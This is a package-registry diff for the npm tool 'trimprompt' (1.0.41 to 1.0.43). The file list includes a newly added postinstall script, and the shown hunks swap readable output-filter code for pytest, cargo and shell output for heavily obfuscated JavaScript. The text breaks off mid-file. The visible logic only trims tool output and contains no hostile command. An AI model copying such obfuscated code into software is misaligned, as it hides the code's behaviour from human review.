trimprompt 1.0.41 → 1.0.43
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +493 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +2 -2
- package/postinstall.js +42 -0
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +387 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x327d11=a0_0x18c3;function a0_0x43bb(){const _0x384061=['6FLlwuM','Downloading','E\x20\x20\x20','passed','===\x20short\x20test\x20summary\x20info\x20===','162935JBYHTq','Pytest:\x20All\x20tests\x20passed','\x20lines\x20of\x20stacktrace\x20truncated)','Collecting','defineProperty','64578ZAawQD','slice','10CPYDHe','4277482yNoIzP','\x20\x20\x20\x20...\x20(','Successfully\x20installed','\x20\x20\x20\x20','filterPytest','match','108976CqfoAW','\x0aFailures:','failed','18JJschX','\x20in\x20','.\x20[FAIL]\x20','5633991beLFQV','14YHXBMO','829275YEgScy','filter','\x20\x20...\x20+','\x20more\x20failures\x20truncated','filterPipInstall','Pytest:\x20','\x20passed','3143784SdUgYS','.py:','split','join','\x20failed','\x20xfailed','___','startsWith','===\x20FAILURES\x20===','push','60DDSCIC','length','trim','includes','===','Using\x20cached'];a0_0x43bb=function(){return _0x384061;};return a0_0x43bb();}(function(_0x107042,_0x51263b){const _0x5243ea=a0_0x18c3,_0x31e3dc=_0x107042();while(!![]){try{const _0x33a7ff=-parseInt(_0x5243ea(0x141))/0x1+-parseInt(_0x5243ea(0x130))/0x2+parseInt(_0x5243ea(0x126))/0x3*(-parseInt(_0x5243ea(0x139))/0x4)+parseInt(_0x5243ea(0x12b))/0x5*(parseInt(_0x5243ea(0x13c))/0x6)+parseInt(_0x5243ea(0x140))/0x7*(-parseInt(_0x5243ea(0x148))/0x8)+parseInt(_0x5243ea(0x13f))/0x9*(parseInt(_0x5243ea(0x132))/0xa)+-parseInt(_0x5243ea(0x133))/0xb*(-parseInt(_0x5243ea(0x152))/0xc);if(_0x33a7ff===_0x51263b)break;else _0x31e3dc['push'](_0x31e3dc['shift']());}catch(_0x57e8b6){_0x31e3dc['push'](_0x31e3dc['shift']());}}}(a0_0x43bb,0xebdb8));function a0_0x18c3(_0x559c76,_0x54cbae){_0x559c76=_0x559c76-0x126;const _0x43bbf7=a0_0x43bb();let _0x18c376=_0x43bbf7[_0x559c76];return _0x18c376;}Object[a0_0x327d11(0x12f)](exports,'__esModule',{'value':!![]}),exports[a0_0x327d11(0x137)]=filterPytest,exports[a0_0x327d11(0x145)]=filterPipInstall;function filterPytest(_0x1886ad){const _0x570b20=a0_0x327d11,_0x1f09c0=_0x1886ad[_0x570b20(0x14a)]('\x0a');let _0x314cfe=0x0,_0x5d1657=0x0,_0x11f987=0x0,_0x3fc269=0x0,_0x2c517f=0x0;const _0x254c54=[];let _0x1be568=[],_0x5ab15a=![];for(const _0x5eb83d of _0x1f09c0){const _0x19430=_0x5eb83d[_0x570b20(0x154)]();if(_0x19430['startsWith'](_0x570b20(0x150))||_0x19430[_0x570b20(0x14f)]('===\x20ERRORS\x20===')){_0x5ab15a=!![];continue;}else(_0x19430[_0x570b20(0x14f)](_0x570b20(0x12a))||_0x19430[_0x570b20(0x14f)]('===')&&_0x19430[_0x570b20(0x155)](_0x570b20(0x129)))&&(_0x5ab15a=![],_0x1be568[_0x570b20(0x153)]>0x0&&(_0x254c54[_0x570b20(0x151)](_0x1be568),_0x1be568=[]));if(_0x5ab15a){if(_0x19430[_0x570b20(0x14f)](_0x570b20(0x14e)))_0x1be568[_0x570b20(0x153)]>0x0&&(_0x254c54[_0x570b20(0x151)](_0x1be568),_0x1be568=[]),_0x1be568[_0x570b20(0x151)](_0x19430);else _0x19430[_0x570b20(0x153)]>0x0&&_0x1be568[_0x570b20(0x151)](_0x5eb83d);continue;}if(_0x19430[_0x570b20(0x14f)](_0x570b20(0x156))&&_0x19430['includes'](_0x570b20(0x13d))){const _0x1d58c1=_0x19430[_0x570b20(0x138)](/(\d+)\s+passed/),_0x2e6cdc=_0x19430[_0x570b20(0x138)](/(\d+)\s+failed/),_0xd9e2c8=_0x19430['match'](/(\d+)\s+skipped/),_0x1687f5=_0x19430[_0x570b20(0x138)](/(\d+)\s+xfailed/),_0x203a7f=_0x19430[_0x570b20(0x138)](/(\d+)\s+xpassed/);if(_0x1d58c1)_0x314cfe=parseInt(_0x1d58c1[0x1]);if(_0x2e6cdc)_0x5d1657=parseInt(_0x2e6cdc[0x1]);if(_0xd9e2c8)_0x11f987=parseInt(_0xd9e2c8[0x1]);if(_0x1687f5)_0x3fc269=parseInt(_0x1687f5[0x1]);if(_0x203a7f)_0x2c517f=parseInt(_0x203a7f[0x1]);}}_0x1be568[_0x570b20(0x153)]>0x0&&_0x254c54[_0x570b20(0x151)](_0x1be568);if(_0x314cfe===0x0&&_0x5d1657===0x0&&_0x11f987===0x0&&_0x3fc269===0x0&&_0x2c517f===0x0){if(_0x1886ad[_0x570b20(0x155)](_0x570b20(0x129))&&!_0x1886ad[_0x570b20(0x155)](_0x570b20(0x13b)))return _0x570b20(0x12c);return _0x1886ad;}if(_0x5d1657===0x0&&_0x314cfe>0x0&&_0x11f987===0x0&&_0x3fc269===0x0&&_0x2c517f===0x0)return'Pytest:\x20'+_0x314cfe+_0x570b20(0x147);const _0x4cb6e5=[];_0x4cb6e5[_0x570b20(0x151)](_0x570b20(0x146)+_0x314cfe+_0x570b20(0x147));if(_0x5d1657>0x0)_0x4cb6e5[_0x570b20(0x151)](_0x5d1657+_0x570b20(0x14c));if(_0x11f987>0x0)_0x4cb6e5[_0x570b20(0x151)](_0x11f987+'\x20skipped');if(_0x3fc269>0x0)_0x4cb6e5[_0x570b20(0x151)](_0x3fc269+_0x570b20(0x14d));if(_0x2c517f>0x0)_0x4cb6e5[_0x570b20(0x151)](_0x2c517f+'\x20xpassed\x20(warning!)');const _0x3f5382=[_0x4cb6e5['join'](',\x20')];if(_0x254c54[_0x570b20(0x153)]>0x0){_0x3f5382[_0x570b20(0x151)](_0x570b20(0x13a));const _0x56db84=0x3,_0x19c2ba=_0x254c54['slice'](0x0,_0x56db84);for(let _0x1b623e=0x0;_0x1b623e<_0x19c2ba[_0x570b20(0x153)];_0x1b623e++){const _0x45d4b6=_0x19c2ba[_0x1b623e],_0x8eb534=_0x45d4b6[0x0]['replace'](/_/g,'')['trim']();_0x3f5382[_0x570b20(0x151)]('\x20\x20'+(_0x1b623e+0x1)+_0x570b20(0x13e)+_0x8eb534);const _0x44671e=_0x45d4b6[_0x570b20(0x131)](0x1),_0x5664e4=_0x44671e[_0x570b20(0x142)](_0x5b5b2e=>{const _0x85f845=_0x570b20,_0x4cfc1a=_0x5b5b2e[_0x85f845(0x154)]();return _0x4cfc1a['startsWith']('>')||_0x4cfc1a[_0x85f845(0x14f)](_0x85f845(0x128))||_0x4cfc1a[_0x85f845(0x155)](_0x85f845(0x149))||_0x4cfc1a[_0x85f845(0x155)]('AssertionError:');});for(const _0x12c37a of _0x5664e4[_0x570b20(0x131)](0x0,0x8)){_0x3f5382[_0x570b20(0x151)](_0x570b20(0x136)+_0x12c37a);}_0x5664e4[_0x570b20(0x153)]>0x8&&_0x3f5382[_0x570b20(0x151)](_0x570b20(0x134)+(_0x5664e4['length']-0x8)+_0x570b20(0x12d));}_0x254c54['length']>_0x56db84&&_0x3f5382[_0x570b20(0x151)](_0x570b20(0x143)+(_0x254c54['length']-_0x56db84)+_0x570b20(0x144));}return _0x3f5382[_0x570b20(0x14b)]('\x0a');}function filterPipInstall(_0x1a38f9){const _0x3f393c=a0_0x327d11,_0x1ad303=_0x1a38f9[_0x3f393c(0x14a)]('\x0a'),_0x48ab86=[];for(const _0x334edc of _0x1ad303){const _0x3f811c=_0x334edc['trim']();_0x3f811c[_0x3f393c(0x14f)](_0x3f393c(0x135))&&_0x48ab86['push'](_0x3f811c);}if(_0x48ab86[_0x3f393c(0x153)]>0x0)return _0x48ab86[_0x3f393c(0x14b)]('\x0a');return _0x1ad303['filter'](_0x5ff9d3=>{const _0x47c4f0=_0x3f393c,_0x1a5ef6=_0x5ff9d3[_0x47c4f0(0x154)]();return!_0x1a5ef6[_0x47c4f0(0x14f)](_0x47c4f0(0x12e))&&!_0x1a5ef6[_0x47c4f0(0x14f)](_0x47c4f0(0x127))&&!_0x1a5ef6['includes'](_0x47c4f0(0x157))&&!_0x1a5ef6[_0x47c4f0(0x14f)]('Requirement\x20already\x20satisfied');})[_0x3f393c(0x14b)]('\x0a')[_0x3f393c(0x154)]();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';function a0_0x3e52(){const _0x27f4a4=['error:','\x20more\x20failures','push','\x20warnings','\x20\x20\x20\x20','282636uIATxC','212510kSxqRM','startsWith','\x20crates\x20successfully','Cargo:\x20compiled\x20','\x0aErrors:','980512lhHEeN','\x20failed,\x20','Cargo\x20test:\x20all\x20tests\x20passed','length','\x20crates,\x20','endsWith','warning:','\x0aFailures:','match','test\x20result:\x20ok','----\x20','579738mXMTnk','\x20passed','805749tgNTot','min','right:','Cargo:\x20','failures:','warning[','trim','\x20errors,\x20','----\x20failures\x20----','filter','152043ylliCw','8WjgDxx','includes','replace','\x20passed,\x20','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','27jyguGx','\x20more\x20errors','160033YNBTGq','join','Cargo\x20test:\x20','\x0aWarnings:','Compiling\x20','slice','test\x20result:','filterCargoTest','__esModule','thread','assert','split','\x20\x20...\x20+'];a0_0x3e52=function(){return _0x27f4a4;};return a0_0x3e52();}const a0_0x4c0c5b=a0_0x3284;function a0_0x3284(_0xec3b95,_0x23b4be){_0xec3b95=_0xec3b95-0x163;const _0x3e521d=a0_0x3e52();let _0x32840e=_0x3e521d[_0xec3b95];return _0x32840e;}(function(_0x48c175,_0x1182a0){const _0xa5c1d2=a0_0x3284,_0x12bc16=_0x48c175();while(!![]){try{const _0x57c06e=-parseInt(_0xa5c1d2(0x182))/0x1+-parseInt(_0xa5c1d2(0x194))/0x2+-parseInt(_0xa5c1d2(0x17a))/0x3+parseInt(_0xa5c1d2(0x17b))/0x4*(-parseInt(_0xa5c1d2(0x195))/0x5)+parseInt(_0xa5c1d2(0x16e))/0x6+parseInt(_0xa5c1d2(0x170))/0x7+-parseInt(_0xa5c1d2(0x163))/0x8*(-parseInt(_0xa5c1d2(0x180))/0x9);if(_0x57c06e===_0x1182a0)break;else _0x12bc16['push'](_0x12bc16['shift']());}catch(_0x295c31){_0x12bc16['push'](_0x12bc16['shift']());}}}(a0_0x3e52,0x22c32));Object['defineProperty'](exports,a0_0x4c0c5b(0x18a),{'value':!![]}),exports[a0_0x4c0c5b(0x189)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0xb42f70){const _0x246e20=a0_0x4c0c5b,_0x23caf3=_0xb42f70['split']('\x0a');let _0x1ca846=0x0,_0x5a3a31=0x0,_0x46d60c=0x0,_0x2334db=0x0;const _0x3067bb=[];let _0x309d1c=![],_0x58dd49=[];for(const _0x323e85 of _0x23caf3){const _0x5395aa=_0x323e85[_0x246e20(0x176)](),_0x5c4475=_0x5395aa[_0x246e20(0x16b)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x5c4475){_0x1ca846+=parseInt(_0x5c4475[0x2]),_0x5a3a31+=parseInt(_0x5c4475[0x3]),_0x46d60c+=parseInt(_0x5c4475[0x4]),_0x2334db+=parseInt(_0x5c4475[0x5]);continue;}if(_0x5395aa==='failures:'||_0x5395aa===_0x246e20(0x178)){_0x309d1c=!![];continue;}if(_0x309d1c){if(_0x5395aa[_0x246e20(0x196)](_0x246e20(0x16d))&&_0x5395aa[_0x246e20(0x168)]('\x20----')){if(_0x58dd49[_0x246e20(0x166)]>0x0)_0x3067bb[_0x246e20(0x191)](_0x58dd49[_0x246e20(0x183)]('\x0a'));_0x58dd49=[_0x5395aa[_0x246e20(0x17d)](/^-+\s*/,'')[_0x246e20(0x17d)](/\s*-+$/,'')];}else{if(_0x5395aa===_0x246e20(0x174)||_0x5395aa[_0x246e20(0x196)](_0x246e20(0x188))){if(_0x58dd49[_0x246e20(0x166)]>0x0)_0x3067bb[_0x246e20(0x191)](_0x58dd49[_0x246e20(0x183)]('\x0a'));_0x58dd49=[],_0x309d1c=![];}else _0x5395aa['length']>0x0&&_0x58dd49['push'](_0x323e85);}}}if(_0x58dd49[_0x246e20(0x166)]>0x0)_0x3067bb[_0x246e20(0x191)](_0x58dd49[_0x246e20(0x183)]('\x0a'));if(_0x1ca846===0x0&&_0x5a3a31===0x0&&_0x46d60c===0x0){if(_0xb42f70[_0x246e20(0x17c)](_0x246e20(0x16c)))return _0x246e20(0x165);return _0xb42f70;}if(_0x5a3a31===0x0){const _0x5e3fb6=[_0x246e20(0x184)+_0x1ca846+_0x246e20(0x16f)];if(_0x46d60c>0x0)_0x5e3fb6[_0x246e20(0x191)](_0x46d60c+'\x20ignored');return _0x5e3fb6[_0x246e20(0x183)](',\x20');}const _0x44050f=[_0x246e20(0x184)+_0x1ca846+_0x246e20(0x17e)+_0x5a3a31+_0x246e20(0x164)+_0x46d60c+'\x20ignored'];if(_0x3067bb[_0x246e20(0x166)]>0x0){_0x44050f['push'](_0x246e20(0x16a));const _0x2e9360=0x3;for(let _0x5e5383=0x0;_0x5e5383<Math[_0x246e20(0x171)](_0x3067bb[_0x246e20(0x166)],_0x2e9360);_0x5e5383++){const _0x39a892=_0x3067bb[_0x5e5383][_0x246e20(0x18d)]('\x0a');_0x44050f[_0x246e20(0x191)]('\x20\x20'+(_0x5e5383+0x1)+'.\x20'+_0x39a892[0x0]);const _0x24df75=_0x39a892[_0x246e20(0x187)](0x1),_0x2d03f7=_0x24df75[_0x246e20(0x179)](_0x3334bb=>_0x3334bb[_0x246e20(0x176)]()[_0x246e20(0x196)](_0x246e20(0x18b))||_0x3334bb['includes']('panicked')||_0x3334bb['includes'](_0x246e20(0x18c))||_0x3334bb[_0x246e20(0x17c)]('left:')||_0x3334bb[_0x246e20(0x17c)](_0x246e20(0x172)));for(const _0x487b9b of _0x2d03f7['slice'](0x0,0x5)){_0x44050f[_0x246e20(0x191)](_0x246e20(0x193)+_0x487b9b[_0x246e20(0x176)]());}}_0x3067bb['length']>_0x2e9360&&_0x44050f[_0x246e20(0x191)](_0x246e20(0x18e)+(_0x3067bb['length']-_0x2e9360)+_0x246e20(0x190));}return _0x44050f['join']('\x0a');}function filterCargoBuild(_0x4ec1d1){const _0x38cc27=a0_0x4c0c5b,_0x436019=_0x4ec1d1[_0x38cc27(0x18d)]('\x0a'),_0x52c590=[],_0x245635=[];let _0x3cfc84=0x0;for(const _0x30c8e7 of _0x436019){const _0x1c9eb7=_0x30c8e7['trim']();if(_0x1c9eb7[_0x38cc27(0x196)](_0x38cc27(0x186)))_0x3cfc84++;else{if(_0x1c9eb7['startsWith'](_0x38cc27(0x175))||_0x1c9eb7[_0x38cc27(0x196)](_0x38cc27(0x169)))_0x52c590[_0x38cc27(0x191)](_0x1c9eb7);else{if(_0x1c9eb7['startsWith']('error[')||_0x1c9eb7[_0x38cc27(0x196)](_0x38cc27(0x18f)))_0x245635[_0x38cc27(0x191)](_0x1c9eb7);}}}if(_0x245635['length']===0x0&&_0x52c590[_0x38cc27(0x166)]===0x0)return _0x3cfc84>0x0?'Cargo:\x20compiled\x20'+_0x3cfc84+_0x38cc27(0x197):_0x4ec1d1[_0x38cc27(0x176)]();const _0x5b7edb=[];if(_0x245635[_0x38cc27(0x166)]>0x0){_0x5b7edb[_0x38cc27(0x191)](_0x38cc27(0x173)+_0x245635[_0x38cc27(0x166)]+_0x38cc27(0x177)+_0x52c590[_0x38cc27(0x166)]+_0x38cc27(0x192)),_0x5b7edb[_0x38cc27(0x191)](_0x38cc27(0x199));for(const _0x1a14d3 of _0x245635[_0x38cc27(0x187)](0x0,0x5))_0x5b7edb[_0x38cc27(0x191)]('\x20\x20'+_0x1a14d3);if(_0x245635['length']>0x5)_0x5b7edb[_0x38cc27(0x191)](_0x38cc27(0x18e)+(_0x245635['length']-0x5)+_0x38cc27(0x181));}else _0x5b7edb[_0x38cc27(0x191)](_0x38cc27(0x198)+_0x3cfc84+_0x38cc27(0x167)+_0x52c590[_0x38cc27(0x166)]+_0x38cc27(0x192));if(_0x52c590[_0x38cc27(0x166)]>0x0&&_0x52c590[_0x38cc27(0x166)]<=0x5){_0x5b7edb[_0x38cc27(0x191)](_0x38cc27(0x185));for(const _0x3bbccc of _0x52c590)_0x5b7edb[_0x38cc27(0x191)]('\x20\x20'+_0x3bbccc);}else _0x52c590[_0x38cc27(0x166)]>0x5&&_0x5b7edb[_0x38cc27(0x191)]('\x0a('+_0x52c590[_0x38cc27(0x166)]+_0x38cc27(0x17f));return _0x5b7edb[_0x38cc27(0x183)]('\x0a');}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3b1cfc=a0_0x4b1e;(function(_0x4d862f,_0x1d9880){const _0x5e15cc=a0_0x4b1e,_0x54f288=_0x4d862f();while(!![]){try{const _0x6bfb8b=-parseInt(_0x5e15cc(0x142))/0x1+-parseInt(_0x5e15cc(0x17f))/0x2+parseInt(_0x5e15cc(0x111))/0x3*(parseInt(_0x5e15cc(0x148))/0x4)+parseInt(_0x5e15cc(0x14a))/0x5+parseInt(_0x5e15cc(0x149))/0x6+parseInt(_0x5e15cc(0x10d))/0x7+-parseInt(_0x5e15cc(0x145))/0x8;if(_0x6bfb8b===_0x1d9880)break;else _0x54f288['push'](_0x54f288['shift']());}catch(_0x39bcda){_0x54f288['push'](_0x54f288['shift']());}}}(a0_0x2086,0x7892d));function a0_0x4b1e(_0x3c91bc,_0x4418c5){_0x3c91bc=_0x3c91bc-0x105;const _0x208652=a0_0x2086();let _0x4b1ed1=_0x208652[_0x3c91bc];return _0x4b1ed1;}var __createBinding=this&&this[a0_0x3b1cfc(0x14b)]||(Object['create']?function(_0x2fa865,_0xb22231,_0x3d89d0,_0x535348){const _0x4afda1=a0_0x3b1cfc;if(_0x535348===undefined)_0x535348=_0x3d89d0;var _0x405749=Object[_0x4afda1(0x189)](_0xb22231,_0x3d89d0);(!_0x405749||(_0x4afda1(0x157)in _0x405749?!_0xb22231['__esModule']:_0x405749[_0x4afda1(0x155)]||_0x405749[_0x4afda1(0x18b)]))&&(_0x405749={'enumerable':!![],'get':function(){return _0xb22231[_0x3d89d0];}}),Object[_0x4afda1(0x10a)](_0x2fa865,_0x535348,_0x405749);}:function(_0x2be924,_0x496479,_0x2953bd,_0xdf68af){if(_0xdf68af===undefined)_0xdf68af=_0x2953bd;_0x2be924[_0xdf68af]=_0x496479[_0x2953bd];}),__setModuleDefault=this&&this[a0_0x3b1cfc(0x106)]||(Object[a0_0x3b1cfc(0x16c)]?function(_0xae7429,_0x2f6318){const _0x5098d9=a0_0x3b1cfc;Object[_0x5098d9(0x10a)](_0xae7429,_0x5098d9(0x17b),{'enumerable':!![],'value':_0x2f6318});}:function(_0x1796bb,_0x5e9f78){_0x1796bb['default']=_0x5e9f78;}),__importStar=this&&this[a0_0x3b1cfc(0x163)]||(function(){var _0x300cd9=function(_0x81ba0b){const _0x294a80=a0_0x4b1e;return _0x300cd9=Object[_0x294a80(0x11a)]||function(_0x45ef55){const _0x5d4e84=_0x294a80;var _0xf97fc9=[];for(var _0x4123c7 in _0x45ef55)if(Object[_0x5d4e84(0x16e)][_0x5d4e84(0x190)][_0x5d4e84(0x13d)](_0x45ef55,_0x4123c7))_0xf97fc9[_0xf97fc9[_0x5d4e84(0x16a)]]=_0x4123c7;return _0xf97fc9;},_0x300cd9(_0x81ba0b);};return function(_0x8d4a2e){const _0x50aa05=a0_0x4b1e;if(_0x8d4a2e&&_0x8d4a2e[_0x50aa05(0x143)])return _0x8d4a2e;var _0x196b6b={};if(_0x8d4a2e!=null){for(var _0x35669e=_0x300cd9(_0x8d4a2e),_0x3ece67=0x0;_0x3ece67<_0x35669e['length'];_0x3ece67++)if(_0x35669e[_0x3ece67]!==_0x50aa05(0x17b))__createBinding(_0x196b6b,_0x8d4a2e,_0x35669e[_0x3ece67]);}return __setModuleDefault(_0x196b6b,_0x8d4a2e),_0x196b6b;};}());Object[a0_0x3b1cfc(0x10a)](exports,a0_0x3b1cfc(0x143),{'value':!![]}),exports[a0_0x3b1cfc(0x141)]=filterLs,exports['filterTree']=filterTree,exports['filterCat']=filterCat,exports['filterGrep']=filterGrep,exports['filterFind']=filterFind;const path=__importStar(require(a0_0x3b1cfc(0x181))),generic_1=require(a0_0x3b1cfc(0x160)),tracker_1=require(a0_0x3b1cfc(0x172));function isFeatureEnabled(_0xafa03e){const _0x59bffe=a0_0x3b1cfc;try{const _0x2e7cd2=tracker_1[_0x59bffe(0x131)][_0x59bffe(0x11e)](),_0x2c308a=_0x2e7cd2['features_enabled'];if(!_0x2c308a||_0x2c308a[_0xafa03e]===undefined)return!![];return _0x2c308a[_0xafa03e]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x3b1cfc(0x180),a0_0x3b1cfc(0x184),a0_0x3b1cfc(0x15d),a0_0x3b1cfc(0x124),a0_0x3b1cfc(0x174),a0_0x3b1cfc(0x168),a0_0x3b1cfc(0x152),a0_0x3b1cfc(0x15f),a0_0x3b1cfc(0x11f)],BINARY_EXTENSIONS=[a0_0x3b1cfc(0x121),a0_0x3b1cfc(0x173),a0_0x3b1cfc(0x108),'.wasm',a0_0x3b1cfc(0x15c),'.jpg','.jpeg',a0_0x3b1cfc(0x130),a0_0x3b1cfc(0x188),a0_0x3b1cfc(0x16f),a0_0x3b1cfc(0x18e),'.svg',a0_0x3b1cfc(0x170),a0_0x3b1cfc(0x192),'.tar.gz','.tgz','.gz',a0_0x3b1cfc(0x110),a0_0x3b1cfc(0x133),a0_0x3b1cfc(0x185),'.exe',a0_0x3b1cfc(0x166),a0_0x3b1cfc(0x17c),a0_0x3b1cfc(0x107),a0_0x3b1cfc(0x14c),a0_0x3b1cfc(0x13a),'.sqlite','.db',a0_0x3b1cfc(0x175),a0_0x3b1cfc(0x187),a0_0x3b1cfc(0x177),a0_0x3b1cfc(0x10e),a0_0x3b1cfc(0x144),a0_0x3b1cfc(0x118),'.mp3',a0_0x3b1cfc(0x119),a0_0x3b1cfc(0x15e),'.avi','.mov',a0_0x3b1cfc(0x147),a0_0x3b1cfc(0x183),a0_0x3b1cfc(0x116),'.class','.o',a0_0x3b1cfc(0x136)];function extractFilename(_0x1c3cae){const _0x5963e1=a0_0x3b1cfc,_0x42818d=_0x1c3cae[_0x5963e1(0x132)]()[_0x5963e1(0x112)](/\s+/);for(let _0x13d02f=0x1;_0x13d02f<_0x42818d['length'];_0x13d02f++){if(!_0x42818d[_0x13d02f]['startsWith']('-'))return _0x42818d[_0x13d02f];}return null;}function filterLockFile(_0x3d28b2,_0x54223f){const _0xf8e2af=a0_0x3b1cfc;try{const _0x456da3=path['basename'](_0x54223f)[_0xf8e2af(0x171)]();if(!LOCK_FILES[_0xf8e2af(0x134)](_0x3abe1f=>_0x456da3===_0x3abe1f[_0xf8e2af(0x171)]()))return null;const _0xca5dfa=_0x3d28b2[_0xf8e2af(0x16a)];let _0x301a01=0x0;if(_0x456da3===_0xf8e2af(0x180))try{const _0x4dc72c=JSON[_0xf8e2af(0x13e)](_0x3d28b2);_0x301a01=Object[_0xf8e2af(0x161)](_0x4dc72c[_0xf8e2af(0x17d)]||_0x4dc72c['dependencies']||{})[_0xf8e2af(0x16a)];}catch{_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/"resolved":/g)||[])[_0xf8e2af(0x16a)];}else{if(_0x456da3==='yarn.lock')_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/^"?[^#\s][^:]*:$/gm)||[])[_0xf8e2af(0x16a)];else{if(_0x456da3===_0xf8e2af(0x156)||_0x456da3===_0xf8e2af(0x168))_0x301a01=(_0x3d28b2['match'](/\[\[package\]\]/g)||[])[_0xf8e2af(0x16a)];else{if(_0x456da3===_0xf8e2af(0x174))_0x301a01=Math[_0xf8e2af(0x109)](_0x3d28b2[_0xf8e2af(0x112)]('\x0a')[_0xf8e2af(0x117)](_0x41c8d7=>_0x41c8d7['trim']())[_0xf8e2af(0x16a)]/0x2);else{if(_0x456da3===_0xf8e2af(0x152))try{_0x301a01=JSON[_0xf8e2af(0x13e)](_0x3d28b2)[_0xf8e2af(0x17d)]?.[_0xf8e2af(0x16a)]||0x0;}catch{}else _0x456da3===_0xf8e2af(0x15d)?_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/^\s{2}['"@a-z]/gm)||[])[_0xf8e2af(0x16a)]:_0x301a01=_0x3d28b2[_0xf8e2af(0x112)]('\x0a')['filter'](_0x523732=>_0x523732[_0xf8e2af(0x132)]())[_0xf8e2af(0x16a)];}}}}return'[lock\x20file]\x20'+path[_0xf8e2af(0x13f)](_0x54223f)+':\x20'+_0x301a01+_0xf8e2af(0x125)+_0xca5dfa[_0xf8e2af(0x150)]()+_0xf8e2af(0x135);}catch{return null;}}function filterBinaryOrMinified(_0x4daf20,_0x411835){const _0x15d1d5=a0_0x3b1cfc;try{if(_0x411835){const _0xf9894c=_0x411835[_0x15d1d5(0x171)]();for(const _0x142f80 of BINARY_EXTENSIONS){if(_0xf9894c['endsWith'](_0x142f80))return'[binary/minified\x20file]\x20'+path[_0x15d1d5(0x13f)](_0x411835)+',\x20'+_0x4daf20['length'][_0x15d1d5(0x150)]()+'\x20chars,\x20type:\x20'+_0x142f80+'\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)';}}const _0x332b2f=_0x4daf20[_0x15d1d5(0x165)](0x0,0x3e8);let _0x293b05=0x0;for(let _0x5f0e37=0x0;_0x5f0e37<_0x332b2f[_0x15d1d5(0x16a)];_0x5f0e37++){if(_0x332b2f[_0x15d1d5(0x123)](_0x5f0e37)===0x0)_0x293b05++;}if(_0x293b05>0x0)return _0x15d1d5(0x18f)+_0x4daf20[_0x15d1d5(0x16a)][_0x15d1d5(0x150)]()+'\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)';let _0x1bc22e=0x0;for(let _0x4f0498=0x0;_0x4f0498<_0x332b2f[_0x15d1d5(0x16a)];_0x4f0498++){const _0x46c3dd=_0x332b2f['charCodeAt'](_0x4f0498);if(_0x46c3dd<0x20&&_0x46c3dd!==0xa&&_0x46c3dd!==0xd&&_0x46c3dd!==0x9)_0x1bc22e++;}if(_0x332b2f[_0x15d1d5(0x16a)]>0x64&&_0x1bc22e>_0x332b2f[_0x15d1d5(0x16a)]*0.1)return'[binary\x20file]\x20'+_0x4daf20[_0x15d1d5(0x16a)]['toLocaleString']()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x23f387=_0x4daf20[_0x15d1d5(0x112)]('\x0a');if(_0x23f387['length']<=0x3&&_0x4daf20[_0x15d1d5(0x16a)]>0x1388)return _0x15d1d5(0x127)+_0x4daf20['length'][_0x15d1d5(0x150)]()+'\x20chars\x20across\x20'+_0x23f387['length']+_0x15d1d5(0x11d);return null;}catch{return null;}}function a0_0x2086(){const _0x7e0cf1=['composer.lock','\x20lines)','json_crusher','writable','cargo.lock','get','stripComments','\x20more\x20matches','lock','\x20more\x20files','.png','pnpm-lock.yaml','.wav','Gemfile.lock','./generic','keys','\x20directories','__importStar','smartCrushJson','substring','.dll','endsWith','poetry.lock','push','length','Empty\x20directory','create','slice','prototype','.bmp','.pdf','toLowerCase','../tracker','.min.css','go.sum','.sqlite3','...\x20+','.woff2','[code\x20skeleton]\x20','No\x20files\x20found','import\x20','default','.so','packages','binary','1815886piuSwf','package-lock.json','path','.cpp','.pyc','yarn.lock','.rar','join','.woff','.ico','getOwnPropertyDescriptor','\x20files)','configurable','extname','includes','.webp','[binary\x20file]\x20','hasOwnProperty','.go','.zip','/\x20(','__setModuleDefault','.dylib','.map','floor','defineProperty','.cs','.rb','256389QKsMUj','.ttf','.rs','.bz2','948qUbQkr','split','match','\x20lines\x20truncated]\x20...\x0a','entries','.pyo','filter','.otf','.mp4','getOwnPropertyNames','stringify','\x20lines\x20total,\x20','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','getConfig','bun.lockb','dirname','.min.js','#include\x20','charCodeAt','Cargo.lock','\x20dependencies,\x20','\x20files\x20found\x20across\x20','[minified\x20file]\x20','.py','require(','startsWith','\x20directories,\x20','\x20more\x20directories','\x20lines\x20total)','@return','sort','.gif','tracker','trim','.7z','some','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.obj','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x20structural\x20lines\x20shown)','package\x20','.dat','\x0a...\x20[','.swift','cal